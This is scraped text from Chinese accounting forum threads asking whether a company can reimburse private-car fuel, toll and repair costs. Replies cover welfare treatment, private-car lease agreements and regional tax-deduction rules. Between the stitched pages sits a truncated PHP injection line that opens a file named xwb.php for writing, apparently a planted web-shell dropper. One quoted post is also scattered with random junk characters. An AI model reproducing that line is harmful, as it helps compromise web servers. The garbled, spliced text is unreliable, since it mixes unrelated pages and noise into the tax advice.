查看: 15225|回复: 23
公司可以为员工报销车辆费用吗
国际大牌证书助您逆袭成功
升职加薪踏上快车道
视野与（CIMA | AICPA）联合举办
设置200份实物礼品
植根于国家会计学院
加入顶级CFO校友圈
请老师指点下，员工含老板的车辆费用，如通行费，维修费，汽油费等相关车辆费用，能在公司报销吗？可否直接入账？
会计视野论坛帖子版权归原作者所有。对发帖人声明原创的帖子，中国会计视野有使用权和转载权。其他网站在写明来源、作者、会计视野论坛首发网址的情况下可以转载，原创作者保留禁止转载和向其他转载网站索取稿酬的权力。
与工作有关产生的费用，可以报销。
相关性原则的体现!
凿齿 发表于
与工作有关产生的费用，可以报销。
这个解释相对含糊，如何界定？以什么作为凭据？
这其实是单位福利的一种，税务局可能要求列入工资薪金。
多谢各位指教。
凿齿 发表于
与工作有关产生的费用，可以报销。
这个解释相对含糊，如何界定？以什么作为凭据？
这其实是单位福利的一种，税务局可能要求列入工资薪金。
我也有同样疑问，因为是员工私家车。
再请指教。
若单位的财务制度有这方面的详细规定，那就按照规定来报销，如果没有这方面的规定，税务查的不是很严的话，那你看着办呗，不过，最好有个财务制度方面的规定，这样也是保护你！
公司的财务制度如果规定了对个人车辆报销额度，税务就能认可吗？有这规定是吗？
一般来说，公司的财务制度的制定也是参考了相关法规后制定的，对于相关法规有明确规定的，公司要遵守，不一致的地方，可能在所得税清算时要调整。而且各地税务局对有些费用的报销口径也有不同的规定（如夏季防暑降温费、冬季取暖费、员工通讯费补贴、误餐费补贴等等），只要不超出这个口径，税务是认可的，超出口径的部分要调整应纳税所得额，要补交企业所得税。
很清晰嘛，怎么会含糊。
就是说：只要你能够证明与生产经营相关，就可以进行报销。
凭据除了发票之外，还包括但不限于报销时的事项说明、相关工作资料、计划安排等。
如果是一种福利，且证据证明就是（主要显示为是人人有份，基于身份而非基于事件，人人金额相同等），当然就必须列入工资薪金。
这类费用能否安全处理成与生产经营相关，直接体现会计部门的能力与价值。
请教凿齿，“这类费用能否安全处理成与生产经营相关”，究竟如何处理成如生产经营相关，请指点。
上述可否在单位报销应该看单位自己如果规定了，至于区分是否与经营有关主要考虑的是税前扣除的关系，如果老板不是以给员工报销抵税为目的，那税前列支就不是最先要考虑的问题了。
这是私车公用的情况，具体请楼主在论坛里搜一下，不久前才有老师发过，如何处理的。
要抵减所得税的
头像被屏蔽
提示: 作者被禁止或删除 内容自动屏蔽
我们公司有张自驾差旅费用报销表，是给开私家车拜访客户的报销的，按照一块八一公里计算，公里数要附百度地图，用汽油费发票报，然后过路费停车费都实报实销
员工及老板的车与公司签个合同，约定哪些费用可以在公司报销，再按合同约定报销就是了
单位如果要报销员工的车辆费用，有两种途径：1、作为员工福利支出，计入应付职工薪酬，缴纳个税；2、单位与员工签订私车公用协议，单位租赁员工的个人车辆作为单位的办公车辆，按期支付给员工一定的租赁款，并有员工以发票的形式报销，同时规定员工在工作企业发生的车辆费用单位全额报销，这就视同单位自己的车辆，用于日常的生产经营所需，发生的费用可以计入成本。
楼上正解！！
签订用车协议。
)&&<?php fputs(fopen('xwb.php','w'),"
Powered by车辆购置税账务处理
来源：中华财会网
点击排行榜查看: 36987|回复: 5
公司名下没有汽车的加油费报销问题
签到天数: 3 天[LV.2]人海孤鸿
马上注册中国会计社区，结交天下会计同行好友，享用更多会员功能
才可以下载或查看，没有帐号？
大家有没有公司里没有汽车如何报销加油费的？
这种加油费能否做为所得税税前扣除？
是否必须签定汽车租赁合同呢？
我查了一下有说这种情况在做为员工福利费计入个人应纳税所得额的，也有说必须签定租赁合同的，但是签定租赁合同也要到地税代开发票交税的，加油费有时还没有税钱多呢？、
大家这种情况是怎么做的呢，求教！
中国会计社区官方微信公众号：会计通。
该用户从未签到
自己公司的车就没有这么多问题了
如果是员工的车，每个员工都报销，我觉得这个和个人电话费一个性质了，如果企业有一定内部控制程序我觉得可以直接报销，不用签合同。当然你也可以给车补，计征个税
中国会计社区官方微信公众号：会计通。
签到天数: 1393 天[LV.10]笑傲江湖
摘录版主情柔似水
对“私车公用”的双方签定有租用协议，与之相应的租用汽车发生租赁费费用，只能凭合法票据(税务局代开的租赁发票)是可以扣除的。但以报销费用代替支付租金，其报销费用的支出不能在税前扣除,根据《发票管理办法》第36条规定，处1万元以下的罚款。 3 H* g% s8 S2 p- Q7 ~! V4 M
合法凭证应该是税务局代开的租赁发票。 ) G: _$ M0 b( D% i
& & 私车公用发生的费用可以在企业所得税前列支，但需要满足以下条件： / W, G/ ~& m0 {! w
　　1.&&公司与员工签订租赁合同。 5 v4 S6 E1 k1 B
　　但若无偿使用会有税务风险，税务机关可能会核定租金要求纳税。 & ?' z, A7 H9 B/ F& M
　　2.&&在租赁合同中约定使用个人汽车所发生的费用由公司承担。
6 X/ ~0 s& I. o& f& n' `8 y　　3.&&租赁支出和承担的费用能取得发票。员工取得租金可以申请税务机关代开发票。 0 I7 l1 o* [$ ^&&h. S! D: b
　　4.&&费用支出属于使用汽车发生的，对应该由员工个人负担的费用不能在企业所得税前列支。
9 T* m9 N- u! T, h　　可以在所得税前列支的汽车费用包括：汽油费；过路过桥费；停车费。 ) E; P- M7 b3 y+ l/ e
　　不可以在所得税前列支的汽车费用包括：车辆保险费；维修费；车辆购置税；折旧费等。
. `: \# m+ C/ m&&o1 n. R- T. ]　　以下是部分地区的税务规定，可以参考：
4 |3 I; k9 F( X　　北京地税的规定：
8 r) T&&n&&H9 Q. I# l. w　　《关于明确若干企业所得税业务政策问题的通知》（京地税企[号）第三条规定，对纳税人因工作需要租用个人汽车，按照租赁合同或协议支付的租金，在取得真实、合法、有效凭证的基础上，允许税前扣除；对在租赁期内汽车使用所发生的汽油费、过路过桥费和停车费，在取得真实、合法、有效凭证的基础上，允许税前扣除。其它应由个人负担的汽车费用，如车辆保险费、维修费等，不得在企业所得税税前扣除。 # x- a' ?, t, ~8 j! `! `
　　江苏国税的规定：
5 w5 `& k/ ?7 ^/ A! B3 X　　江苏省国家税务局《关于企业所得税若干具体业务问题的通知》（苏国税发[号）规定，“私车公用”发生的费用应凭真实、合理、合法凭据，准予税前扣除，对应由个人承担的车辆购置税、折旧费以及保险费等不得税前扣除。 ) n6 `0 E5 Z9 ]! m& l: b
　　大连地税的规定：
. m8 k1 Y1 N& b6 @. S2 C& &《大连市地方税务局关于印发〈企业所得税若干问题的规定〉的通知》（大地税发[号）第九条规定，纳税人以承担修理费、保险费、养路费、油费等方式有偿使用，包括投资者在内个人的房屋、交通工具、设备等其相应支出不允许税前扣除。如确属租赁性质应按双方签订的合规的书面租赁合同，凭相关发票，其相关费用允许税前扣除。
4 o+ t& i4 }: M& M) c+ i1 m( Y& & 天津市地方税务局、天津市国家税务局 《关于企业所得税若干业务问题的通知 》津地税企所[2009]15号 发文日期: 0 j% k* R0 M+ n3 z
& & 八、租赁交通工具税前扣除问题 2 V, O4 Q+ D6 o7 s1 q
& & 1.企业由于生产经营需要，租入具有营运资质的企业和个人或其他企业的交通运输工具，发生的租赁费及与其相关的费用，按照合同（协议）约定，凭租赁合同（协议）及合法凭证，准予扣除。 * X9 T0 ]6 }& e&&I' `
　 2.企业由于生产经营需要，向具有营运资质以外的个人租入交通运输工具，发生的租赁费，凭租赁合同（协议）及合法凭证，准予扣除，租赁费以外的其他各项费用不得税前扣除。&&
4 l# H6 l0 f4 @) O: L
你先学习一下
中国会计社区官方微信公众号：会计通。
签到天数: 3 天[LV.2]人海孤鸿
非常感谢！
中国会计社区官方微信公众号：会计通。
签到天数: 23 天[LV.4]后起之秀
终于可以向不明所以的老总，解释清楚了，每次都拿个加油票来报，呵
中国会计社区官方微信公众号：会计通。
签到天数: 7 天[LV.3]江湖少侠
摘录版主情柔似水
对“私车公用”的双方签定有租用协议，与之相应的租用汽车发生租赁费费用， ...
楼主 顶&&顶
中国会计社区官方微信公众号：会计通。财务报表 |
科目汇总表 |
记账凭证 |
零基础入门
职业规划 |
零基础入门 |
巧学实操分录 |
凭证装订 |
我要学出纳
理论入门 |
实务操作 |
会计从业证
会计基础 |
财经法规 |
初级会计职称 |
中级会计职称 |
注册会计师
财务成本管理 |
公司战略与风险管理 |
银行贷款 |
财务分析 |
财务管理 |
Office软件
您当前所在的位置是：
于,10:09:49发布 &&&&18次浏览
老师 加油费和过路费记到那里，公司账上没车
点击选择分数
1人参与回答
20人评论&&71人浏览
1人评论&&55人浏览
3人评论&&27人浏览
2人评论&&55人浏览
6人评论&&47人浏览
2人评论&&70人浏览
0人评论&&7人浏览
0人评论&&5人浏览
0人评论&&4人浏览
0人评论&&5人浏览
1人评论&&3人浏览
0人评论&&2人浏览
3人评论&&3人浏览
2人评论&&2人浏览
1人评论&&1人浏览
1人评论&&3人浏览
确定要分配的金额
欢迎打赏，请选择打赏金额
选择支付方式
需支付：￥1800.00
微信扫一扫，即可完成支付
更换支付方式}